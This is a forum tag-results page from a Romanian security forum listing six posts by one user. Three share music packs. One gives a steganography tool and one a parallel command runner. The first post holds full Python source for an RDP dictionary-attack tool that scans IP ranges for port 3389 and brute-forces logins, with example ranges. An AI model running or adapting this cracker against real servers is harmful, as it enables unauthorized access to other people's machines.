Jump to content

Search the Community

Showing results for tags 'cmin'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Occupation


Interests


Biography


Location

Found 6 results

  1. Daca se dovedea a fi eficient la partea de crack il tineam privat, dar asa ii fac publica sursa, poate il imbunatateste cineva sau invata ceva din el. E mai mult un wrapper si se foloseste de rdesktop, dar in teorie ar trebui sa sparga ceva (am testat pe niste servere cunoscute plasate printre altele si cu niste liste de parole decente si uneori le prindea alteori sarea peste ele in aproape aceleasi conditii locale). Alte nelamuriri vedeti sursa. #! /usr/bin/env python # RDP Dictionary Attack # 21.05.2012 cmiN # # THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY # I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM # # Connect with rdesktop, xfreerdp or something similar using # servers, users and passwords from files. # After checking if the port is opened, the wrapper opens a shell console # executing the client with data from input files. In the meantime # a local socket is accepting connections from the target and if the link # is established then the user and password for that server are a match. # # You need rdesktop/xfreerdp (sudo apt-get/yum/equo install rdesktop/freerdp). # On gentoo based systems use emerge to find and install the newest packages. # Contact: cmin764@yahoo/gmail.com from sys import argv, platform from threading import Thread, active_count, Lock from subprocess import Popen from socket import * # defaults THRD = 4 # how many threads for crack phase TOUT = 6.0 # timeout in seconds # get global host ip try: sock = socket(AF_INET, SOCK_STREAM) sock.connect(("www.google.com", 80)) # assuming google works except error as excp: # error from socket (timed out or invalid server) print "Check your internet connection: %s." % excp exit() else: HOST = sock.getsockname()[0] finally: sock.close() del sock PORT = 51337 # used for local listening # attack modes RDP1 = ["rdesktop", "-u", "{user}", "-p", "{password}", "-s", "telnet {host} {port}", "-g", "1x1", "-a", "8", "-x", "m", "-z", "-m", "{server}"] RDP2 = ["xfreerdp", "-u", "{user}", "-p", "{password}", "-s", "telnet {host} {port}", "-g", "1x1", "-a", "8", "-x", "m", "-z", "--no-motion", "{server}"] VERB = False # verbose METH = "r" # RDP1 USER = ["Administrator"] SAFE = True SWTC = True LIMT = None # attacks (test only, None -> unlimited) class Engine: """Main class used to find and crack servers with desired options. For more info see usage from the bottom of the script. It executes commands through subprocess and waits for replies within timeout. """ def __init__(self, threads, timeout, host, port, rdp1, rdp2, verbose, method, usr, safe, switch): """Copy global options and prepare the core.""" self.cli = True # activate print/stdout (set to False if a GUI is used) self.threads = threads self.timeout = timeout self.host = host self.port = port self.rdp1 = rdp1 self.rdp2 = rdp2 self.verbose = verbose self.sockets = dict() # D[x] = True if x is available otherwise False self.pos = list() # list with indexes (user, password, server, telnet) self.usr = usr self.pwd = None self.srv = None # set the command used for scanning if method == "x": self.command = self.rdp2 else: self.command = self.rdp1 # default: don't save self.working = None self.cracked = None self.good = list() # rdp servers self.delete = set() # dispose of cracked servers self.lock = Lock() # global printing thread synchronization self.sock_mutex = Lock() # for localhost socket use if "linux" in platform: self.null = open("/dev/null", "w") else: self.null = open("NUL", "w") self.safe = safe self.switch = switch def __del__(self): """Destructor.""" if hasattr(self.srv, "close"): self.srv.close() if hasattr(self.usr, "close"): self.usr.close() if self.pwd: self.pwd.close() if self.working: self.working.close() if self.cracked: self.cracked.close() for sock in self.sockets: sock.shutdown(SHUT_RDWR) sock.close() def generator(self, src, dest): """Just like grandpa's old mileage meter :].""" temp = "%d.%d.%d.%d" byte = 256 yield temp % tuple(src) # yield -> the beauty of python while (src != dest): # like return but continue src[3] += 1 if src[3] == byte: src[3] = 0 src[2] += 1 if src[2] == byte: src[2] = 0 src[1] += 1 if src[1] == byte: src[1] = 0 src[0] += 1 yield temp % tuple(src) def set_threads(self, threads): self.threads = threads def set_safe(self, safe): self.safe = safe def set_switch(self, switch): self.switch = switch def set_timeout(self, timeout): self.timeout = timeout def set_verbose(self, verbose): self.verbose = verbose def set_method(self, method): if method == "x": self.command = self.rdp2 else: self.command = self.rdp1 def set_usr(self, usr): """If this is called, then the users are taken from a file.""" self.usr = open(usr, "r") # do not use the generic one def set_pwd(self, pwd): """The file with passwords is mandatory.""" self.pwd = open(pwd, "r") def set_srv(self, srv): """Make a file object or range generator from argument.""" if srv.find("-") == -1: # not found -> not range self.srv = open(srv, "r") else: chunks = srv.split("-") src, dest = chunks[0].split("."), chunks[1].split(".") for i in xrange(4): src[i] = int(src[i]) dest[i] = int(dest[i]) self.srv = self.generator(src, dest) def set_working(self, working): """Save progress in scan phase.""" self.working = open(working, "a") # safe append def set_cracked(self, cracked): """Save progress in crack phase.""" self.cracked = open(cracked, "a") def scan_server(self, server): """Check if the rdp port is opened on the specified server.""" try: # create the socket and connect sock = socket(AF_INET, SOCK_STREAM) sock.connect((server, 3389)) except error: # timed out in most cases if self.verbose: self.lock.acquire() if self.cli: print "[-] %s [NO]" % server # only with -v self.lock.release() else: # good news everyone self.lock.acquire() if self.cli: print "[+] %s [OK]" % server self.good.append(server) if self.working: self.working.write(server + "\n") self.working.flush() self.lock.release() finally: sock.close() def scan(self): """Just like a port scanner for 3389.""" setdefaulttimeout(self.timeout / 10.0) # 10% for server in self.srv: while active_count() > self.threads * 16: pass # do not exceed number of threads if self.switch: # scan them # now call the method in a separate thread Thread(target=self.scan_server, args=[server.strip()]).start() else: # or skip the scan self.good.append(server.strip()) while active_count() > 1: pass # join all def acquire_sock(self): for sock, state in self.sockets.iteritems(): if state: # available self.sockets[sock] = False # use it return sock def release_sock(self, sock): self.sockets[sock] = True def crack_server(self, command): try: # get a server self.sock_mutex.acquire() sock = self.acquire_sock() self.sock_mutex.release() command[self.pos[3]] = command[self.pos[3]].format(port=sock.getsockname()[1]) child = Popen(command, stdout=self.null, stderr=self.null) # no wait sock.accept() # here is the big overhead except error as excp: # timed out if self.verbose: self.lock.acquire() if self.cli: print "[-] %s %s %s [NO]" % (command[self.pos[2]], command[self.pos[0]], command[self.pos[1]]) self.lock.release() else: # good news again show = "%s %s %s" % (command[self.pos[2]], command[self.pos[0]], command[self.pos[1]]) self.delete.add(command[self.pos[2]]) # cracked! no need to process again self.lock.acquire() if self.cli: print "[+] " + show + " [OK]" if self.cracked: self.cracked.write(show + "\n") self.cracked.flush() self.lock.release() finally: child.kill() # do not close it, instead release it for further use self.release_sock(sock) # O(1) and can't affect the same socket def crack(self): """For each user take each password and test them with each working server.""" goodLen = len(self.good) if goodLen == 0: if self.cli: print "[!] No servers to crack." return if self.safe: # avoid deadlocks or strange behavior self.set_threads(min(self.threads, goodLen)) users = [line.strip() for line in self.usr] passwords = [line.strip() for line in self.pwd] if self.cli: print "[i] Cracking %d hosts in %fs." % (goodLen, float(len(users)) * len(passwords) * goodLen * self.timeout / self.threads) setdefaulttimeout(self.timeout) # now use the real timeout # prepare the sockets for port in xrange(self.threads): sock = socket(AF_INET, SOCK_STREAM) sock.settimeout(self.timeout) sock.bind((self.host, self.port + port)) sock.listen(1) self.sockets[sock] = True # init command template command = self.command shellIndex = command.index("telnet {host} {port}") command[shellIndex] = command[shellIndex].format(host=self.host, port="{port}") self.pos = [command.index("{user}"), command.index("{password}"), command.index("{server}"), shellIndex] attacks = 0 for user in users: command[self.pos[0]] = user for password in passwords: command[self.pos[1]] = password for server in self.good: command[self.pos[2]] = server while active_count() > self.threads: pass # do not exceed number of threads attacks += 1 if LIMT and attacks > LIMT: if self.cli: print "[!] Limit reached, buy the script." return # now call the method in a separate thread Thread(target=self.crack_server, args=[command[:]]).start() for server in self.delete: # N^2 can be reduced to NlogN with set self.good.remove(server) # and also to N with index memorization self.delete.clear() while active_count() > 1: pass # join all def parse(): at = 1 params = list() while at < argc: if argv[at] in ("-h", "--help"): print usage exit() # do not start the process elif argv[at] in ("-v", "--verbose"): app.set_verbose(True) elif argv[at] in ("-t", "--threads"): at += 1 app.set_threads(int(argv[at])) elif argv[at] in ("-T", "--timeout"): at += 1 app.set_timeout(float(argv[at])) elif argv[at] in ("-m", "--method"): at += 1 app.set_method(argv[at]) elif argv[at] in ("-w", "--working"): at += 1 app.set_working(argv[at]) elif argv[at] in ("-c", "--cracked"): at += 1 app.set_cracked(argv[at]) elif argv[at] in ("-s", "--safe-off"): app.set_safe(False) elif argv[at] in ("-n", "--no-scan"): app.set_switch(False) else: if argv[at][0] == "-": raise Exception("Invalid option") params.append(argv[at]) at += 1 pLen = len(params) if pLen not in (2, 3): raise Exception("Invalid number of parameters") app.set_srv(params[-1]) app.set_pwd(params[-2]) if pLen == 3: app.set_usr(params[-3]) # same index as 0 def main(): try: if argc == 1: # show a message or start the GUI which is missing print "You should run: %s --help" % argv[0] exit() # or parse the arguments parse() # and start the scanner print "[i] Scan phase started." app.scan() # filter the input for working rdp servers print "[i] Crack phase started." app.crack() # crack them except Exception as excp: print "[x] Error: %s." % excp except KeyboardInterrupt: print "[!] Stopped." else: print "[i] Finished." if __name__ == "__main__": argc = len(argv) usage = """ Usage: {0} [options] [usr] pwd srv Options: -t, --threads <number> number of threads (parallel connections) -s, --safe-off by default the number of threads is reduced to the number of working servers if it's greater use this option to keep the number of threads -T, --timeout <seconds> waiting response time for each connection -m, --method <r/x> use [r]desktop or [x]freerdp -w, --working <file> file used to store servers with 3389 opened -c, --cracked <file> file used to store cracked servers -n, --no-scan skip scan phase asumming all servers are working rdps -v, --verbose show extra information (default off) -h, --help show this help Parameters: usr users file (default users: {1}) pwd passwords file srv servers file or range (abc.def.ghi.jkl-mno.pqr.stu.vwx) Examples: {0} -c cracked.txt passwords.txt 68.195.205.60-68.195.211.60 {0} -w good.txt --timeout 2 -s pass.txt 91.202.91.119-91.202.94.15 {0} -t 256 -T 5 -v -c cracked.txt -n users.txt pass.txt good.txt Users, passwords and working servers are loaded into memory. Be aware to not open a file for both read and write. More exactly do not use the same file name with `-w`/`-c` and `srv`. THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM Send bugs to cmin764@yahoo/gmail.com. """.format(argv[0], USER) app = Engine(THRD, TOUT, HOST, PORT, RDP1, RDP2, VERB, METH, USER, SAFE, SWTC) main() del app
  2. O combinatie unica de lo-fi, easy trip-hop, lounge, toate la un loc formand un chill out mai picant, oricum sunt melodii bune, necomerciale (poate am mai scapat cate una doua). Printre ele am strecurat si 3 care nu apartin genurilor de mai sus, dar suna bine. Ca feedback dati reply cu intrusii plus melodia preferata . RS: chill15 chill16 GF: chill15 chill16 Daca v-au placut vedeti si packul anterior.
  3. Selectia continua si de data asta aduce ceva nou, mai rafinat din categoria chill, melodii atent luate una cate una, ascultand diverse statii, apoi verificate calitativ. Daca va plac recomand si penultimul pack. In deschidere cu Paper Crows Gone - YouTube prezint: Rapidshare: chill13 chill14 Gamefront: chill13 chill14 Nu confundati chillul cu muzica ambientala ... predomina mai mult vocalul cu tenta electro/indie acustica.
  4. Acest script cross-platform permite rularea unei comenzi batch/bash cu parametri variabili preluati din fisiere text, linie cu linie. Am simtit nevoia sa fac ceva mai general tocmai din cauza multor subiecte si cereri pe tema asta. Indiferent cate comenzi veti executa tot outputul e afisat in timp real in aceeasi consola (sau si intr-un fisier) fara sa se amestece (se presupune a folosi comenzi de aceeasi speta ce genereaza un output calitativ nu cantitativ), iar preluarea comenzilor este foarte stabila, respecta cu strictete numarul threadurilor alocate si ordinea in functie de timpi. Codul este pur Python, pana si executarea comenzilor se face in procese separate independente de terminal, ceea ce previne shell injection si alte neplaceri cu restrictia unor "smenuri" tipice bash, dar acest comportament poate fi schimbat prin modificarea si adaugarea unui argument din clasa Popen, oricum nu intru in amanunte, fiindca e in afara scopului si nici nu cred ca va veti lovi de problema asta. Foloseste Python 2.x, testat pe windows 7 si backtrack cu un script simplu ca: #include <stdio.h> #include <time.h> #include <windows.h> #define N 10 /* N phases */ int main(int argc, char* argv[]) { int i; for (i = 0; i < N; ++i) { printf("Process %s with %s at phase %d.\n", argv[1], argv[2], i); fflush(stdout); Sleep(1000); /* replace with sleep(1) on posix */ } return 0; } Parametrii de test luati din 2 fisiere prin linia: run.py -t 2 -d 0.5 scan.exe @a.txt @b.txt P.S.: Atentie la output, imaginati-va putin cam cum va arata ceea ce urmeaza sa faceti ca sa nu aveti surprize. cd in folderul cu scriptul chmod +x ./run.py ./run.py -> vezi usage http://codepad.org/tn3Xwohw #! /usr/bin/env python # Shell Multi Runner # 12.02.2012 cmiN # # Execute commands in terminal asynchronously using subprocess # and show all output merged into one console. # # Contact: cmin764@yahoo/gmail.com import subprocess # better than popen/system/respawn from sys import argv, stdout from time import sleep from threading import active_count, Thread # parallelism # some settings FILE = None # output to file too THRD = 10 # threads DLAY = 1 # delay CHAR = '@' # wildcard # instantiated in only one object class Show(file): """ Thread safe printing class. Uses primitive locks. """ def __init__(self, fname=None): """ If `fname` isn't `None` write output to file too. """ self.locked = False # unlocked self.open_file(fname) def __del__(self): """ Destructor. Close an opened file. """ if self.fname: self.close() def open_file(self, fname): """ Open file for writing. """ self.fname = fname if fname: # init file super(Show, self).__init__(fname, 'w') def write(self, data): """ Safe write. """ while self.locked: # if writing in progress pass # wait # lock self.locked = True # write data if self.fname: super(Show, self).write(data) stdout.write(data) # flush data if self.fname: self.flush() stdout.flush() # release self.locked = False def fileno(self): """ Experimental. Used as file descriptor replacing pipes. """ if self.fname: return super(Show, self).fileno() return stdout.fileno() class Engine(Thread): """ Execute each command in a separate thread and listen for it's output. """ def __init__(self, command): super(Engine, self).__init__() # superclass constructor self.command = command def run(self): """ Function called from outside by `start` method. """ # fork the fucking process pobj = subprocess.Popen(self.command.split(), stdout=subprocess.PIPE, stderr=subprocess.STDOUT) # listen for new input while True: line = pobj.stdout.readline() if line == "": # more output it's about to come if pobj.poll() != None: # nope break # so exit continue # try again report.write(line) # globals usage = """ Usage: {0} [options] command Options: -t, --threads <int> how many asynchronous threads to run -d, --delay <float> time in seconds to wait between each run -f, --file <str> write output to file too Commands: <any valid command> ex: wget {1}links.txt If you preceed a parameter with {1} it becomes a list with parameters taken from a file called like itself. Old: ./scan -h 91.202.91.119 -u usr.txt -p pwd.txt New: {0} ./scan -h {1}hosts.txt -u usr.txt -p pwd.txt """.format(argv[0], CHAR) report = Show() # make verbose object def generate(command, expand, pos): """ Format command recursively. """ if pos == len(expand): # now command string is complete sleep(DLAY) # delay while active_count() > THRD: pass # wait if number of threads is exceeded report.write("[+] Start: %s\n" % command) Engine(command).start() return expand[pos].seek(0) # rewind for line in expand[pos]: generate(command.replace("{%d}" % pos, line.strip()), expand, pos + 1) def main(): global FILE, THRD, DLAY, CHAR # check if len(argv) == 1 or argv[1] in ('-h', "--help"): print usage return # insuficient parameters # parse report.write("[+] Parsing...\n") argv.pop(0) # remove script name command = "" ind = 0 # index expand = [] # list with special parameters while ind < len(argv): if argv[ind] in ('-t', "--threads"): ind += 1 THRD = int(argv[ind]) elif argv[ind] in ('-d', "--delay"): ind += 1 DLAY = float(argv[ind]) elif argv[ind] in ('-f', "--file"): ind += 1 FILE = argv[ind] report.open_file(FILE) elif argv[ind][0] == CHAR: # reserve variable parameter for special ones command += ' ' + "{%d}" % (len(expand)) # add to list special parameters (`CHAR`<smth>) expand.append(open(argv[ind][1:], 'r')) # file objects else: command += ' ' + argv[ind] ind += 1 # process report.write("[+] Processing...\n") generate(command.strip(), expand, 0) while active_count() > 1: pass # wait for running threads report.write("[+] Done.\n") if __name__ == "__main__": main() Updated: 14.02.2012
  5. Screen Dupa cum spune si titlul, acest soft ascunde text in imagini, pentru mai multe detalii vezi comentariul sursei. L-am pus aici ca sa ramana mai mult timp "vizibil", daca e vreo problema il mut la stuff. In 3 zile, 300 linii de cod, m-am gandit sa ma rezolv cat de cat cu atestatul si cum iubesc sursa libera si impartasirea ei pun la dispozitie asta: http://codepad.org/hNzxFzFT #! /usr/bin/env python # Text In Image # 02.01.2012 cmiN # # This is a simple GUI script which can hide text in pictures # using least significant bit method. # Also the input text can be encrypted and the output can be decrypted too # with a symmetric key using AES. # Writing is done directly on input image so be careful with certain extensions # because the output will always have the BMP format. # # Contact: cmin764@yahoo/gmail.com from Tkinter import * # widgets's classes from tkFileDialog import askopenfilename # get file name from tkMessageBox import showerror, showinfo # user dialog from PIL import Image # image converting from Crypto.Cipher import AES # text cipher class Engine: """ Code for processing the image. Separated from GUI. """ def __init__(self): """ Initialize parameters. """ self.ext = "bmp" # save format self.name = None # save name self.path = None # save path self.im = None # image object, read and write self.generator = None # get locations to write/read bits self.useAES = None # use it or not self.aes = None # AES object self.data = None # data to be written to image self.width = None # image width self.height = None # image height self.tmp = None # last string, used when key changes def binary(self, nr, size): """ Get 1&0 representation. """ return bin(nr).replace("0b", "").zfill(size * 8) def path_name(self, path): """ Split a file path in path and name. """ ind = path.rfind("/") + 1 return (path[:ind], path[ind:]) def set_generator(self): """ Useful for resetting. """ self.generator = ((wp, hp, ch) for wp in xrange(self.width) # WxHxC for hp in xrange(self.height) for ch in xrange(3)) def load(self, path): """ Load image. """ self.im = Image.open(path) (self.width, self.height) = self.im.size (self.path, self.name) = self.path_name(path) return self.width * self.height * 3 # total useful bytes def parse_key(self, key): """ If key exists make an AES object from it. """ if not key: self.aes = None # empty key == no encryption return self.parse_string(self.tmp) # must return size (see the next return) key.decode() # test availability size = len(key) for padding in (16, 24, 32): # fixed key size if size <= padding: break key += chr(0) * (padding - size) self.aes = AES.new(key) return self.parse_string(self.tmp) # if key changes you must update string def parse_string(self, string): """ Convert to bitstring. """ if not string: # without string can't start the process self.tmp = None self.data = None return 0 string.decode() # test availability self.tmp = string if self.useAES and self.aes: # encrypt it string += chr(0) * ((16 - len(string) % 16) % 16) # multiple of 16 string string = self.aes.encrypt(string) string = str().join([self.binary(ord(x), 1) for x in string]) # convert every char in a set of 8 bits size = self.binary(len(string), 4) # get binary representation of string's length in 4 bytes self.data = size + string return len(self.data) def write(self): """ Write using LSB. """ self.set_generator() # rearm for bit in self.data: (wp, hp, ch) = self.generator.next() # get next position values = list(self.im.getpixel((wp, hp))) # retrieve its values tmp = self.binary(values[ch], 1) # convert one of them values[ch] = int(tmp[:7] + bit, 2) # alter that channel self.im.putpixel((wp, hp), tuple(values)) # put it back self.im.save(self.path + self.name, format=self.ext) # save the new output def read(self): """ Read from every LSB. """ self.set_generator() # rearm total = self.width * self.height * 3 if total < 32: raise Exception("Text not found.") size = chunk = string = str() i = 0 # for(i=0; true; ++i) while True: (wp, hp, ch) = self.generator.next() # i byte values = self.im.getpixel((wp, hp)) tmp = self.binary(values[ch], 1) if i < 32: # it's lame but I prefer string/bitset size += tmp[7] if i == 31: size = int(size, 2) if size < 1 or (size + 32) > total: raise Exception("Text not found.") elif i < size + 32: chunk += tmp[7] if len(chunk) == 8: string += chr(int(chunk, 2)) chunk = str() else: break i += 1 if self.useAES and self.aes: if len(string) % 16 != 0: raise Exception("Text not encrypted.") string = self.aes.decrypt(string).rstrip(chr(0)) string.decode() # raise an exception if invalid return string class GUI(Frame): """ Main window, inherited from Frame. Here we put our widgets and set their behavior. """ def __init__(self, master=None, margin=30): """ Same as Frame's constructor. """ Frame.__init__(self, master, padx=margin, pady=margin) self.grid() self.widgets() self.behavior() def widgets(self): """ Build and grid widgets. """ # ---- create variables ---- self.totalBytes = IntVar() # depends on image size self.usedBytes = IntVar() # how many of them are used self.textStatus = StringVar() # used per total bytes self.useEncryption = IntVar() # 0-plain 1-AES self.mode = IntVar() # 0-read 1-write self.textOpt = dict() # text last config self.keyOpt = dict() # key last config self.loaded = False # image loaded or not # ---- create widgets ---- self.label = Label(self, textvariable=self.textStatus) self.about = Label(self, text="About", fg="blue") self.text = Text(self, width=30, height=5, fg="grey") self.scrollbar = Scrollbar(self, orient="vertical", command=self.text.yview) self.loadButton = Button(self, text="Load", width=5, command=lambda: self.action("load")) self.readRadio = Radiobutton(self, text="Read", variable=self.mode, value=0, command=self.set_state) self.checkButton = Checkbutton(self, text="Use AES", variable=self.useEncryption, onvalue=1, offvalue=0, command=self.set_state) self.startButton = Button(self, text="Start", width=5, state="disabled", command=lambda: self.action("start")) self.writeRadio = Radiobutton(self, text="Write", variable=self.mode, value=1, command=self.set_state) self.keyEntry = Entry(self, width=10, fg="grey", show="*") # ---- show widgets ---- self.label.grid(row=0, column=0, columnspan=2, sticky="w") self.about.grid(row=0, column=2, sticky="e") self.text.grid(row=1, column=0, rowspan=3, columnspan=3) self.scrollbar.grid(row=1, column=3, rowspan=3, sticky="ns") self.loadButton.grid(row=4, column=0, sticky="w", pady=5) self.readRadio.grid(row=4, column=1) self.checkButton.grid(row=4, column=2, sticky="e") self.startButton.grid(row=5, column=0, sticky="w") self.writeRadio.grid(row=5, column=1) self.keyEntry.grid(row=5, column=2, sticky="e") def behavior(self): """ Customize widgets. """ self.text.config(yscrollcommand=self.scrollbar.set) self.text.insert(0.0, "Text here") self.keyEntry.insert(0, "Key here") self.text.bind("<Button>", self.handle_event) self.text.bind("<KeyRelease>", self.handle_event) self.keyEntry.bind("<Button>", self.handle_event) self.keyEntry.bind("<KeyRelease>", self.handle_event) self.textOpt = self.get_opt(self.text) self.keyOpt = self.get_opt(self.keyEntry) self.about.bind("<Button>", self.handle_event) self.set_state() def action(self, arg): """ What every button triggers. """ if arg == "load": fileTypes = [("BMP", "*.bmp"), ("JPEG", ("*.jpeg", "*.jpg")), ("PNG", "*.png"), ("All Files", "*.*")] path = askopenfilename(parent=self, title="Open image", filetypes=fileTypes) if path != "": try: self.totalBytes.set(app.load(path)) except IOError as msg: showerror("Error", str(msg).capitalize().strip(".") + ".") # some formatting else: self.loaded = True self.set_state() self.master.title("Text In Image - %s" % app.name) # update name in title elif arg == "start": if self.mode.get(): try: app.write() except Exception as msg: showerror("Error", str(msg).capitalize().strip(".") + ".") else: showinfo("Info", "Done.") else: try: string = app.read() except UnicodeError: showerror("Error", "Text not found or wrong key.") except Exception as msg: showerror("Error", str(msg).capitalize().strip(".") + ".") else: self.text.config(state="normal") self.textOpt["fg"] = "black" # touched self.text.delete(0.0, END) self.text.insert(0.0, string) self.text.config(state="disabled") self.usedBytes.set(app.parse_string(string)) self.set_status() showinfo("Info", "Done.") def set_status(self): """ Get used per total bytes. """ string = "%9.3f%s/%9.3f%s" unit1 = unit2 = "b" used = self.usedBytes.get() total = self.totalBytes.get() if used > total: self.label.config(fg="red") else: self.label.config(fg="black") if used > 999999: unit1 = "Mb" used /= 1000000.0 elif used > 999: unit1 = "Kb" used /= 1000.0 if total > 999999: unit2 = "Mb" total /= 1000000.0 elif total > 999: unit2 = "Kb" total /= 1000.0 self.textStatus.set(string % (used, unit1, total, unit2)) def get_opt(self, widget): """ Get some options from a widget then pack them. """ opt = dict() opt["state"] = widget["state"] opt["fg"] = widget["fg"] opt["bg"] = widget["bg"] return opt def set_state(self): """ Enable or disable a widget according to option selected. """ if self.mode.get(): # write self.text.config(**self.textOpt) else: self.text.config(state="disabled", bg="lightgrey", fg="darkgrey") if self.useEncryption.get(): # use AES self.keyEntry.config(**self.keyOpt) app.useAES = True else: self.keyEntry.config(state="disabled") app.useAES = False length = app.parse_string(app.tmp) self.usedBytes.set(length) self.set_status() if self.loaded: # a file is loaded if self.mode.get() == 0: # read mode ok = True elif app.data != None and self.usedBytes.get() <= self.totalBytes.get(): ok = True else: ok = False else: ok = False # no file loaded if ok: self.startButton.config(state="normal") else: self.startButton.config(state="disabled") def handle_event(self, event): """ Handle events for specific widgets. """ if event.widget is self.text and self.text["state"] == "normal": if self.text["fg"] == "grey": self.text.delete(0.0, END) self.textOpt["fg"] = self.text["fg"] = "black" string = self.text.get(0.0, END).strip() try: length = app.parse_string(string) except UnicodeError: showerror("Error", "Invalid text.") else: self.usedBytes.set(length) self.set_state() elif event.widget is self.keyEntry and self.keyEntry["state"] == "normal": if self.keyEntry["fg"] == "grey": self.keyEntry.delete(0, END) self.keyOpt["fg"] = self.keyEntry["fg"] = "black" key = self.keyEntry.get()[:32] # first 32 (max size is 32) try: length = app.parse_key(key) except UnicodeError: showerror("Error", "Invalid key.") else: self.usedBytes.set(length) self.set_state() elif event.widget is self.about: showinfo("About", "Hide text, which can be encrypted with AES, in pictures, preferably bitmaps. Coded by cmiN. Visit rstcenter.com") if __name__ == "__main__": app = Engine() # core root = Tk() # toplevel root.title("Text In Image") root.maxsize(350, 250) root.iconbitmap("tii.ico") # comment if you don't have one GUI(root) root.mainloop() Testat pe windows, fedora si slackware, merge perfect, dar sa cititi comentariul principal. Aveti nevoie de python 2.7, PIL si pycrypto. Pe linux de obicei sunt preinstalate. Versiune portabila: box gamefront Updated: 14.01.2012
  6. Mult asteptatele melodii care au mai rulat pe la statusul meu . music11.zip | Game Front music12.zip | Game Front MEGAUPLOAD - The leading online storage and file delivery service MEGAUPLOAD - The leading online storage and file delivery service Daca v-au placut spor si la celelalte.
×
×
  • Create New...